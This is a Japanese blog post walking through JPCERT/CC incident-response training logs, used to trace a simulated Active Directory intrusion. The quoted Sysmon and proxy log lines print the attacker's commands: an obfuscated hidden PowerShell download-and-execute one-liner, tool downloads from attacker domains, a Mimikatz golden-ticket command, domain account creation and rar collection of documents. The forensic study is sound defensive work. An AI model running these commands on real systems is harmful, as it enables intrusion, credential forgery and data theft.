このトレーニングデータは,JPCERT/CC が Internet Week 2016、2017、2018、2019 にて実施したトレーニングの資料を編集して公開したもの。
私は,Internet Week 2017 のデータを1回勉強したことがあったので,今回は2回目のチャレンジとなる。
トレーニングデータと解説のダウンロード先
想定
ドメイン: example.co.jp
ネットワーク: 192.168.16.1/24
プロキシサーバ
192.168.16.10
AD
192.168.16.1
ホスト名 IPアドレス ユーザ名 OS
WIN-WFBHIBE5GXZ 192.168.16.1 administrator Windows Server 2008
Win7_64JP_01 192.168.16.101 chiyoda.tokyo Windows 7
Win7_64JP_02 192.168.16.102 yokohama.kanagawa Windows 7
Win7_64JP_03 192.168.16.103 urayasu.chiba Windows 7
Win7_64JP_04 192.168.16.104 urawa.saitama Windows 7
Win7_64JP_05 192.168.16.105 hakata.fukuoka Windows 7
Win7_64JP_06 192.168.16.106 sapporo.hokkaido Windows 7
Win7_64JP_07 192.168.16.107 nagoya.aichi Windows 7
Win7_64JP_08 192.168.16.108 sakai.osaka Windows 7
Win10_64JP_09 192.168.16.109 maebashi.gunma Windows 10
Win10_64JP_10 192.168.16.110 utsunomiya.tochigi Windows 10
Win10_64JP_11 192.168.16.111 mito.ibaraki Windows 10
Win10_64JP_12 192.168.16.112 naha.okinawa Windows 10
ハンズオン 1
マルウエア感染端末の調査
Win7_64JP_01 でマルウェア win.exe を検知した。
Q1. マルウエアの通信先IPアドレスを特定してください。
解析対象物
Powershell.csv
Security.csv
Sysmon.csv
TaskScheduler.csv
解析開始
win.exeがログ中にあるか?
$ cat Powershell.csv | grep -F "win.exe" | wc -l
0
$ cat Security.csv | grep -F "win.exe" | wc -l
264
$ cat Sysmon.csv | grep -F "win.exe" | wc -l
14
$ cat TaskScheduler.csv | grep -F "win.exe" | wc -l
0
IPアドレスがログ中にあるか?
$ cat Powershell.csv | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | wc -l
0
$ cat Security.csv | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | wc -l
9002
$ cat Sysmon.csv | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | wc -l
12
$ cat TaskScheduler.csv | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | wc -l
0
Security.csvとSysmon.csvに絞れた。
関係しそうなIPは?
$ cat Security.csv | grep -F -A 10 -B 10 "win.exe" | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort | uniq
宛先アドレス: 198.51.100.101
送信元アドレス: 192.168.16.101
送信元アドレス: 192.168.16.109
$ cat Sysmon.csv | grep -F -A 10 -B 10 "win.exe" | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort | uniq
宛先アドレスは一つ
198.51.100.101
ビンゴ!
なお,JPCERT/CCのヒントには,
イベントID: 5156に通信が記録される
とあった。
ちなみに詳細はこんな感じ。
情報,2019/11/07 15:15:03,Microsoft-Windows-Security-Auditing,5156,フィルタリング プラットフォームの接続,"Windows フィルターリング プラットフォームで、接続が許可されました。
アプリケーション情報:
プロセス ID: 204
アプリケーション名: \device\harddiskvolume2\users\chiyoda.tokyo.example\appdata\local\temp\notilv.exe
ネットワーク情報:
方向: 送信
送信元アドレス: 192.168.16.101
ソース ポート: 49602
宛先アドレス: 198.51.100.101
宛先ポート: 80
プロトコル: 6
フィルター情報:
フィルターの実行時 ID: 0
レイヤー名: 接続
レイヤーの実行時 ID: 48"
Q2. マルウエアの動作開始時刻とマルウエアの実行方法を特定してください。
とりあえず,Security.csvを眺めてみる。
cat Security.csv | grep -F -A 10 -B 10 "win.exe" | less
上の方が新しく,下に行くほど古いデータと判る。
less のコマンド G で末尾にジャンプして,下から見ていく
あった。
情報,2019/11/07 15:53:00,Microsoft-Windows-Security-Auditing,4688,プロセス作成,"新しいプロセスが作成されました。
サブジェクト:
セキュリティ ID: SYSTEM
アカウント名: WIN7_64JP_01$
アカウント ドメイン: EXAMPLE
ログオン ID: 0x3e7
プロセス情報:
新しいプロセス ID: 0xa2c
新しいプロセス名: C:\Intel\Logs\win.exe
トークン昇格の種類: TokenElevationTypeDefault (1)
クリエーター プロセス ID: 0x4a0
2019/11/07 15:53:00
ビンゴ
なお,JPCERT/CCのヒントには,
イベントID: 4688に実行したプロセスが記録される
とあった。
次は,マルウエアの実行方法
同じように2019/11/07 15:53:00より前の(下の)データを見る
cat Security.csv | grep -F -A 10 -B 10 "win.exe" | less
無い?
幅( -A -B )を広げてみる。
cat Security.csv | grep -F -A 30 -B 30 "win.exe" | less
あった。
情報,2019/11/07 15:49:21,Microsoft-Windows-Security-Auditing,4698,その他のオブジェクト アクセス イベント,"スケジュールされたタスクが作成されました。
サブジェクト:
セキュリティ ID: EXAMPLE\Administrator
アカウント名: sysg.admin
アカウント ドメイン: EXAMPLE
ログオン ID: 0xfd151
タスク情報:
タスク名: \At1
タスク コンテンツ: <?xml version=""1.0"" encoding=""UTF-16""?>
<Task version=""1.0"" xmlns=""http://schemas.microsoft.com/windows/2004/02/mit/task"">
<RegistrationInfo />
<Triggers>
<TimeTrigger>
<StartBoundary>2019-11-07T15:53:00</StartBoundary>
</TimeTrigger>
</Triggers>
<Principals>
<Principal id=""Author"">
<UserId>@AtServiceAccount</UserId>
<LogonType>InteractiveTokenOrPassword</LogonType>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Actions Context=""Author"">
<Exec>
<Command>cmd</Command>
<Arguments>/c C:\Intel\Logs\win.exe</Arguments>
タスクスケジューラだ。
Q3. 攻撃者はWin7_64JP_01から別のマシンに侵入を試みています。侵入を試みた別の端末(ホスト名orIPアドレス)を特定してください。
Security.csvを見てみる
$ cat Security.csv | grep "宛先アドレス:" | sort | uniq
宛先アドレス: 10.0.0.0
宛先アドレス: 192.168.16.1
宛先アドレス: 192.168.16.10
宛先アドレス: 192.168.16.101
宛先アドレス: 192.168.16.102
宛先アドレス: 192.168.16.103
宛先アドレス: 192.168.16.104
宛先アドレス: 192.168.16.105
宛先アドレス: 192.168.16.106
宛先アドレス: 192.168.16.107
宛先アドレス: 192.168.16.108
宛先アドレス: 192.168.16.109
宛先アドレス: 192.168.16.110
宛先アドレス: 192.168.16.111
宛先アドレス: 192.168.16.112
宛先アドレス: 192.168.16.255
宛先アドレス: 198.51.100.101
宛先アドレス: 198.51.100.105
宛先アドレス: 224.0.0.22
宛先アドレス: 224.0.0.252
宛先アドレス: 80.10.254.120
たくさん通信してる。簡単にいかない。
ヒントを見ると
① Sysmon.csvに別の端末のIPアドレスは記録されていないか
② 「ツール分析結果シート」の“net use”を参照
とある
Sysmon.csvに目を向ける
$ cat Sysmon.csv | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort | uniq
CommandLine: cmd /c ""ping 192.168.16.105""
CommandLine: cmd /c ""ping 192.168.16.106""
CommandLine: ping 192.168.16.105
CommandLine: ping 192.168.16.106
CurrentDirectory: C:\Program Files (x86)\Google\Update\1.3.31.5\
ParentCommandLine: cmd /c ""ping 192.168.16.105"""
ParentCommandLine: cmd /c ""ping 192.168.16.106"""
だめだ。
ホスト名は?
$ cat Sysmon.csv | grep -e "win7" -e "win10" -i | sort | uniq
CommandLine: at.exe \\Win7_64JP_03 16:17 cmd /c ""C:\Intel\Logs\server.exe""
CommandLine: cmd /c ""copy C:\Intel\Logs\server.exe \\Win7_64JP_03\c$\Intel\Logs\server.exe""
CommandLine: cmd /c ""net use \\Win7_64JP_03\c$""
CommandLine: net use \\Win7_64JP_03\c$
ParentCommandLine: cmd /c ""net use \\Win7_64JP_03\c$"""
Win7_64JP_03
ビンゴ
詳細はこんな感じ
情報,2019/11/07 15:59:37,Microsoft-Windows-Sysmon,1,Process Create (rule: ProcessCreate),"Process Create:
UtcTime: 2019-11-07 06:59:37.841
ProcessGuid: {02EA0504-59D9-5A01-0000-0010AAD21100}
ProcessId: 2172
Image: C:\Windows\SysWOW64\cmd.exe
CommandLine: cmd /c ""net use \\Win7_64JP_03\c$""
CurrentDirectory: C:\Windows\system32\
User: EXAMPLE\chiyoda.tokyo
LogonGuid: {02EA0504-41EA-5A01-0000-002074B30100}
LogonId: 0x1b374
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA1=EE8CBF12D87C4D388F09B4F69BED2E91682920B5
ParentProcessGuid: {02EA0504-41EE-5A01-0000-0010421D0200}
ParentProcessId: 204
ParentImage: C:\Users\chiyoda.tokyo.EXAMPLE\AppData\Local\Temp\notilv.exe
ParentCommandLine: ""C:\Users\chiyoda.tokyo.EXAMPLE\AppData\Local\Temp\notilv.exe"" "
Q4.攻撃者はWin7_64JP_01に別のマシンから侵入しています。不正ログオン元のIPアドレスと使用されたアカウント名は何ですか?
送信元ってどのくらいあるのかな?
$ cat Security.csv | grep "送信元アドレス:" | sort | uniq
送信元アドレス: 0.0.0.0
送信元アドレス: 192.168.16.101
送信元アドレス: 192.168.16.109
送信元アドレス: 192.168.16.255
送信元アドレス: 224.0.0.1
送信元アドレス: 224.0.0.252
送信元アドレス: 239.255.255.250
少ない。
192.168.16.109かな?
ビンゴ
192.168.16.109との通信はたくさんあり,使用されたアカウント名は探しにくい
ヒントを見ると
ネットワーク共有へのアクセスを確認
とある
管理共有を検索する
$ cat Security.csv | grep -F -e "c$" -e "admin$" -e "ipc$" -i -A 15 -B 15
| less
情報,2019/11/07 15:44:30,Microsoft-Windows-Security-Auditing,5145,詳細なファイル共有,"クライアントに必要なアクセスを付与できるかどうかについて、ネットワーク共有オブジェクトがチェックされました。
サブジェクト:
セキュリティ ID: EXAMPLE\Administrator
アカウント名: sysg.admin
アカウント ドメイン: EXAMPLE
ログオン ID: 0xfd151
ネットワーク情報:
オブジェクトの種類: File
送信元アドレス: 192.168.16.109
ソース ポート: 52765
共有情報:
共有名: \\*\C$
共有パス: \??\C:\
相対ターゲット名: Intel\Logs\win.exe
sysg.admin
Q5. Win7_64JP_01でPowerShellファイルが実行されたようです。このファイルは何を行うものですか?
PowerShellなので拡張子ps1で探す
cat Sysmon.csv | grep -F ".ps1"
CommandLine: powershell -ExecutionPolicy ByPass -File C:\Intel\Logs\s.ps1
ParentCommandLine: cmd /c ""powershell -ExecutionPolicy ByPass -File C:\Intel\Logs\s.ps1"""
CommandLine: cmd /c ""powershell -ExecutionPolicy ByPass -File C:\Intel\Logs\s.ps1""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/server.exe"", ""C:\Intel\Logs\server.exe"") >> C:\Intel\Logs\s.ps1""
CommandLine: cmd /c ""echo $p = New-Object System.Net.WebClient > C:\Intel\Logs\s.ps1""
CommandLine: powershell -ExecutionPolicy ByPass -File C:\Intel\Logs\z.ps1
ParentCommandLine: cmd /c ""powershell -ExecutionPolicy ByPass -File C:\Intel\Logs\z.ps1"""
CommandLine: cmd /c ""powershell -ExecutionPolicy ByPass -File C:\Intel\Logs\z.ps1""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/mz.exe"", ""C:\Intel\Logs\mz.exe"") >> C:\Intel\Logs\z.ps1""
CommandLine: cmd /c ""echo $p = New-Object System.Net.WebClient > C:\Intel\Logs\z.ps1""
各行の詳細はこんな感じ
情報,2019/11/07 15:56:03,Microsoft-Windows-Sysmon,1,Process Create (rule: ProcessCreate),"Process Create:
UtcTime: 2019-11-07 06:56:03.937
ProcessGuid: {02EA0504-5903-5A01-0000-0010471E1100}
ProcessId: 644
Image: C:\Windows\SysWOW64\cmd.exe
CommandLine: cmd /c ""echo $p = New-Object System.Net.WebClient > C:\Intel\Logs\z.ps1 ""
CurrentDirectory: C:\Windows\system32\
User: EXAMPLE\chiyoda.tokyo
LogonGuid: {02EA0504-41EA-5A01-0000-002074B30100}
LogonId: 0x1b374
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA1=EE8CBF12D87C4D388F09B4F69BED2E91682920B5
ParentProcessGuid: {02EA0504-41EE-5A01-0000-0010421D0200}
ParentProcessId: 204
ParentImage: C:\Users\chiyoda.tokyo.EXAMPLE\AppData\Local\Temp\notilv.exe
ParentCommandLine: ""C:\Users\chiyoda.tokyo.EXAMPLE\AppData\Local\Temp\notilv.exe"" "
hxxp://anews-web.co/server.exe
hxxp://anews-web.co/mz.exe
ツールのダウンロード
ハンズオン1のまとめ
Win7_64JP_01(192.168.16.101)のログを解析
2019/11/07 15:42:56 Win10_64JP_09(192.168.16.109)sysg.admin から侵入された
2019/11/07 15:53:00 マルウエアwin.exeの動作開始
2019/11/07 15:56:03 PowerShellでanews-web.coからツールをダウンロード
2019/11/07 15:59:37 Win7_64JP_03(192.168.16.103)に侵入を試みた
ハンズオン2
横展開(感染の拡大)された端末の調査
解析対象物:Win7_64JP_03のログ
Security.csv
TaskScheduler.csv
Q1. Win7_64JP_03へ侵入後、どのようなツールやコマンドが実行されたか調査してください。
cat Security.csv | grep 4698
なし
cat Security.csv | grep "net use"
なし
正解
監査ポリシー、Sysmonの設定が行われていないため不明。
ハンズオン3
侵入元端末の調査
解析対象物:Win7_64JP_09 のログ
Powershell.csv
Security.csv
Sysmon.csv
TaskScheduler.csv
Q1. Win7_64JP_01の侵入元であるWin10_64JP_09が侵入した端末を特定してください。
$ cat Sysmon.csv | grep "net use"
ParentCommandLine: cmd /c ""net use \\Win7_64JP_01\c$"""
ParentCommandLine: cmd /c ""net use \\Win7_64JP_01\c$"""
CommandLine: cmd /c ""net use \\Win7_64JP_01\c$""
ParentCommandLine: cmd /c ""net user machida.kanagawa /delete"""
ParentCommandLine: cmd /c ""net user machida.kanagawa /delete"""
CommandLine: cmd /c ""net user machida.kanagawa /delete""
ParentCommandLine: cmd /c ""net use j: \\192.168.16.1\c$ h4ckp@ss /user:example.co.jp\machida.kanagawa"""
ParentCommandLine: cmd /c ""net use j: \\192.168.16.1\c$ h4ckp@ss /user:example.co.jp\machida.kanagawa"""
CommandLine: cmd /c ""net use j: \\192.168.16.1\c$ h4ckp@ss /user:example.co.jp\machida.kanagawa""
ParentCommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain"""
ParentCommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain"""
CommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain""
192.168.16.1
Win7_64JP_01(既知)
詳細は
情報,2019/11/07 15:31:02,Microsoft-Windows-Sysmon,1,Process Create (rule: ProcessCreate),"Process Create:
UtcTime: 2019-11-07 06:31:02.040
ProcessGuid: {CC41BF7E-5326-5A01-0000-0010520C2300}
ProcessId: 1296
Image: C:\Windows\SysWOW64\cmd.exe
CommandLine: cmd /c ""net use j: \\192.168.16.1\c$ h4ckp@ss /user:example.co.jp\machida.kanagawa""
CurrentDirectory: C:\Users\maebashi.gunma\Desktop\
User: EXAMPLE\maebashi.gunma
Q2. Win10_64JP_09がマルウエアに感染した原因を特定してください。
http通信を探してみる
$ cat Sysmon.csv | grep "http"
ParentCommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/ms14068.rar"", ""C:\Intel\Logs\ms14068.rar"") >> C:\Intel\Logs\p.ps1"""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/ms14068.rar"", ""C:\Intel\Logs\ms14068.rar"") >> C:\Intel\Logs\p.ps1""
ParentCommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/rar.exe"", ""C:\Intel\Logs\rar.exe"") >> C:\Intel\Logs\p.ps1"""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/rar.exe"", ""C:\Intel\Logs\rar.exe"") >> C:\Intel\Logs\p.ps1""
ParentCommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/mz.exe"", ""C:\Intel\Logs\mz.exe"") >> C:\Intel\Logs\z.ps1"""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/mz.exe"", ""C:\Intel\Logs\mz.exe"") >> C:\Intel\Logs\z.ps1""
ParentCommandLine: ""C:\Windows\System32\cmd.exe"" /c start winword /m&powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c&C:\Users\MAEBAS~1.GUN\AppData\Local\Temp\dwm.exe ""%CD%"""
CommandLine: powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c
ParentCommandLine: ""C:\Windows\System32\cmd.exe"" /c start winword /m&powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c&C:\Users\MAEBAS~1.GUN\AppData\Local\Temp\dwm.exe ""%CD%"""
ParentCommandLine: ""C:\Windows\System32\cmd.exe"" /c start winword /m&powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c&C:\Users\MAEBAS~1.GUN\AppData\Local\Temp\dwm.exe ""%CD%"""
CommandLine: ""C:\Windows\System32\cmd.exe"" /c start winword /m&powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c&C:\Users\MAEBAS~1.GUN\AppData\Local\Temp\dwm.exe ""%CD%""
ImageLoaded: C:\Windows\System32\drivers\http.sys
ダウンロードしたdwm.exeがあやしい
ん?これで正解?
JPCERT/CCの答えに
Powershellが実行されてdwm.exeが作成された
と書いてる
詳細
情報,2019/11/07 15:16:53,Microsoft-Windows-Sysmon,1,Process Create (rule: ProcessCreate),"Process Create:
UtcTime: 2019-11-07 06:16:53.068
ProcessGuid: {CC41BF7E-4FD5-5A01-0000-0010B7831B00}
ProcessId: 5560
Image: C:\Windows\System32\cmd.exe
CommandLine: ""C:\Windows\System32\cmd.exe"" /c start winword /m&powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c&C:\Users\MAEBAS~1.GUN\AppData\Local\Temp\dwm.exe ""%CD%""
CurrentDirectory: C:\Users\maebashi.gunma\Desktop\
User: EXAMPLE\maebashi.gunma
Q3. 漏えいした可能性がある情報を特定してください。
さっきのhttpのgrepでrar.exeをダウンロードしていたので,データの圧縮にrarを使っていると推測
$ cat Sysmon.csv | grep -F "rar.exe"
Image: C:\Intel\Logs\rar.exe"
Image: C:\Intel\Logs\rar.exe
CommandLine: C:\Intel\Logs\rar.exe a -r -ed -v300m -taistoleit C:\Intel\Logs\d.rar ""\\Win7_64JP_01\c$\Users\chiyoda.tokyo.EXAMPLE\Documents"" -n*.docx -n*.pptx -n*.txt -n*.xlsx
ParentCommandLine: cmd /c ""C:\Intel\Logs\rar.exe a -r -ed -v300m -taistoleit C:\Intel\Logs\d.rar ""\\Win7_64JP_01\c$\Users\chiyoda.tokyo.EXAMPLE\Documents"" -n*.docx -n*.pptx -n*.txt -n*.xlsx"""
ParentCommandLine: cmd /c ""C:\Intel\Logs\rar.exe a -r -ed -v300m -taistoleit C:\Intel\Logs\d.rar ""\\Win7_64JP_01\c$\Users\chiyoda.tokyo.EXAMPLE\Documents"" -n*.docx -n*.pptx -n*.txt -n*.xlsx"""
CommandLine: cmd /c ""C:\Intel\Logs\rar.exe a -r -ed -v300m -taistoleit C:\Intel\Logs\d.rar ""\\Win7_64JP_01\c$\Users\chiyoda.tokyo.EXAMPLE\Documents"" -n*.docx -n*.pptx -n*.txt -n*.xlsx""
Image: C:\Intel\Logs\rar.exe"
Image: C:\Intel\Logs\rar.exe
CommandLine: C:\Intel\Logs\rar.exe x C:\Intel\Logs\ms14068.rar C:\Intel\Logs\
ParentCommandLine: cmd /c ""C:\Intel\Logs\rar.exe x C:\Intel\Logs\ms14068.rar C:\Intel\Logs\"""
ParentCommandLine: cmd /c ""C:\Intel\Logs\rar.exe x C:\Intel\Logs\ms14068.rar C:\Intel\Logs\"""
CommandLine: cmd /c ""C:\Intel\Logs\rar.exe x C:\Intel\Logs\ms14068.rar C:\Intel\Logs\""
ParentCommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/rar.exe"", ""C:\Intel\Logs\rar.exe"") >> C:\Intel\Logs\p.ps1"""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/rar.exe"", ""C:\Intel\Logs\rar.exe"") >> C:\Intel\Logs\p.ps1"
漏洩したのは
\\Win7_64JP_01\c$\Users\chiyoda.tokyo.EXAMPLE\Documentsの
*.docx *.pptx *.txt *.xlsx
Q4. Win10_64JP_09でPowerShellファイルが実行されたようです。このファイルは何を行うものですか?
これもさっきのhttpのgrepで答えが出てる
ファイルのダウンロード
hxxp://anews-web.co/mz.exe
hxxp://anews-web.co/rar.exe
hxxp://anews-web.co/ms14068.rar
ハンズオン3のまとめ
Win7_64JP_09(192.168.16.109)のログを解析
2019/11/07 15:16:53 dwm.exeをダウンロード
2019/11/07 15:31:02 ADに侵入
2019/11/07 15:42:56 Win10_64JP_01にsysg.adminで侵入(ハンズオン1より)
ハンズオン4
プロキシログの調査
プロキシログからその他の感染端末がないかを調査する
解析対象物
access.log
Q1. Win10_64JP_09に感染したマルウエアの通信先ドメイン名を特定してください。
exeやjpegに偽装したexeにアクセスした記録を抽出してみる
$ cat access.log | grep -F -e ".exe" -e "/21.jpg"
192.168.16.109 - - [07/Nov/2019:15:16:57 +0900] "GET http://news-landsbbc.co/upload/21.jpg HTTP/1.1" 200 183667 "-" "-" TCP_MEM_HIT:NONE
192.168.16.109 - - [07/Nov/2019:15:20:45 +0900] "GET http://biosnews.info/index.php?fn=s3&file=0e0c96b283a944567ddd01c539582cd6/trans/schost.exe HTTP/1.1" 200 43830 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" TCP_MISS:DIRECT
192.168.16.109 - - [07/Nov/2019:15:22:56 +0900] "GET http://anews-web.co/mz.exe HTTP/1.1" 200 431482 "-" "-" TCP_MISS:DIRECT
192.168.16.109 - - [07/Nov/2019:15:25:43 +0900] "GET http://anews-web.co/rar.exe HTTP/1.1" 200 405370 "-" "-" TCP_MISS:DIRECT
192.168.16.109 - - [07/Nov/2019:15:33:26 +0900] "GET http://biosnews.info/index.php?fn=s3&file=0e0c96b283a944567ddd01c539582cd6/trans/schost.exe HTTP/1.1" 200 483 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" TCP_MISS:DIRECT
192.168.16.109 - - [07/Nov/2019:15:44:03 +0900] "GET http://biosnews.info/index.php?fn=s3&file=0e0c96b283a944567ddd01c539582cd6/trans/schost.exe HTTP/1.1" 200 399158 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" TCP_MISS:DIRECT
192.168.16.109 - - [07/Nov/2019:15:48:18 +0900] "GET http://biosnews.info/index.php?fn=s3&file=0e0c96b283a944567ddd01c539582cd6/trans/schost.exe HTTP/1.1" 200 394 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" TCP_MISS:DIRECT
192.168.16.101 - - [07/Nov/2019:15:57:04 +0900] "GET http://anews-web.co/mz.exe HTTP/1.1" 200 431491 "-" "-" TCP_MEM_HIT:NONE
192.168.16.101 - - [07/Nov/2019:16:03:24 +0900] "GET http://anews-web.co/server.exe HTTP/1.1" 200 399226 "-" "-" TCP_MISS:DIRECT
news-landsbbc.co
biosnews.info
anews-web.co
ビンゴ
Q2. Win10_64JP_09以外の端末で不正な通信を行っている端末はありますか?ある場合は、端末を特定してください
$ cat access.log | grep -F -e "news-landsbbc.co" -e "biosnews.info" -e "anews-web.co" | awk -F ' ' '{print $1}' | sort | uniq
192.168.16.101
192.168.16.109
192.168.16.101
ビンゴ
ハンズオン5
Active Directoryの調査
解析対象物
Security.csv
TaskScheduler.csv
Q1. 「管理者権限」が割り当てられたユーザをすべて特定してください。
$ cat Security.csv | grep 4672 -A 20 | grep "アカウント名" | sort | uniq
アカウント名: Administrator
アカウント名: machida.kanagawa
アカウント名: maebashi.gunma
アカウント名: maebashi.gunma@EXAMPLE.CO.JP
アカウント名: sysg.admin
アカウント名: sysg.admin@example.co.jp
アカウント名: WIN-WFBHIBE5GXZ$
アカウント名: WIN-WFBHIBE5GXZ$@EXAMPLE.CO.JP
Administrator
machida.kanagawa
maebashi.gunma
sysg.admin
WIN-WFBHIBE5GXZ$はAD自分自身
Q2. sysg.adminユーザでログオンした端末を特定してください。
$ grep -A 32 "4624" Security.csv | grep -F -A 11 "sysg.admin" | grep "アドレ ス" | sort | uniq -c
2 ソース ネットワーク アドレス: 192.168.16.101
2 ソース ネットワーク アドレス: 192.168.16.103
3 ソース ネットワーク アドレス: 192.168.16.109
192.168.16.101
192.168.16.103
192.168.16.109
ビンゴじゃない
解説をみると
を調べろとある
$ grep -A 19 "4769" Security.csv | grep -F -A 9 "sysg.admin" | grep "アドレス" | sort | uniq -c
5 クライアント アドレス: ::ffff:192.168.16.101
4 クライアント アドレス: ::ffff:192.168.16.103
1 クライアント アドレス: ::ffff:192.168.16.104
25 クライアント アドレス: ::ffff:192.168.16.109
192.168.16.104
初登場じゃん
Q3. 「sysg.adminユーザ」によるログオンは、管理者の意図しないものでした。どのような攻撃手法を用いて不正ログオンを行ったか特定してください。
ハンズオン3のまとめ(再掲)
2019/11/07 15:16:53 dwm.exeをダウンロード
2019/11/07 15:31:02 ADに侵入
2019/11/07 15:42:56 Win10_64JP_01にsysg.adminで侵入(ハンズオン1より)
ハンズオン3のログを見る
$ cat Sysmon.csv | grep -F "sysg.admin"
CommandLine: C:\Intel\Logs\mz.exe ""kerberos::golden /domain:example.co.jp /sid:S-1-5-21-1524084746-3249201829-3114449661 /rc4:b23a3443a12bf736973741f65ddcbc83 /user:sysg.admin /id:500 /ticket:C:\Intel\Logs\500.kirbi"" exit
ParentCommandLine: cmd /c ""C:\Intel\Logs\mz.exe ""kerberos::golden /domain:example.co.jp /sid:S-1-5-21-1524084746-3249201829-3114449661 /rc4:b23a3443a12bf736973741f65ddcbc83 /user:sysg.admin /id:500 /ticket:C:\Intel\Logs\500.kirbi"" exit"""
ParentCommandLine: cmd /c ""C:\Intel\Logs\mz.exe ""kerberos::golden /domain:example.co.jp /sid:S-1-5-21-1524084746-3249201829-3114449661 /rc4:b23a3443a12bf736973741f65ddcbc83 /user:sysg.admin /id:500 /ticket:C:\Intel\Logs\500.kirbi"" exit"""
CommandLine: cmd /c ""C:\Intel\Logs\mz.exe ""kerberos::golden /domain:example.co.jp /sid:S-1-5-21-1524084746-3249201829-3114449661 /rc4:b23a3443a12bf736973741f65ddcbc83 /user:sysg.admin /id:500 /ticket:C:\Intel\Logs\500.kirbi"" exit""
"kerberos::golden" から Mimikatz(S0002)とわかる。
Pass the Ticket(T1550.003)
Q4. 攻撃者によって追加されたユーザを特定してください。
ユーザ追加は net user コマンド
$ cat Sysmon.csv | grep "net user"
ParentCommandLine: cmd /c ""net user machida.kanagawa /delete"""
ParentCommandLine: cmd /c ""net user machida.kanagawa /delete"""
CommandLine: cmd /c ""net user machida.kanagawa /delete""
ParentCommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain"""
ParentCommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain"""
CommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain""
machida.kanagawa
詳細
情報,2019/11/07 15:29:37,Microsoft-Windows-Sysmon,1,Process Create (rule: ProcessCreate),"Process Create:
UtcTime: 2019-11-07 06:29:37.891
ProcessGuid: {CC41BF7E-52D1-5A01-0000-001062972200}
ProcessId: 3792
Image: C:\Windows\SysWOW64\cmd.exe
CommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain""
CurrentDirectory: C:\Users\maebashi.gunma\Desktop\
User: EXAMPLE\maebashi.gunma
Q5. 「machida.kanagawa」は不正なユーザ追加であることが分かりました。どのような攻撃手法を用いて不正な操作を行ったのでしょうか。
ハンズオン3のまとめ(再掲)
2019/11/07 15:16:53 dwm.exeをダウンロード
2019/11/07 15:29:37 machida.kanagawa追加
2019/11/07 15:31:02 ADに侵入
2019/11/07 15:29:37より前のSysmon.csvをみていく
情報,2019/11/07 15:26:37,Microsoft-Windows-Sysmon,5,Process terminated (rule: ProcessTerminate),"Process terminated:
UtcTime: 2019-11-07 06:26:37.933
ProcessGuid: {CC41BF7E-521D-5A01-0000-00107BD82100}
ProcessId: 5140
Image: C:\Intel\Logs\ms14068\ms14-068.exe"
Kerberos の脆弱性により特権が昇格される
以上。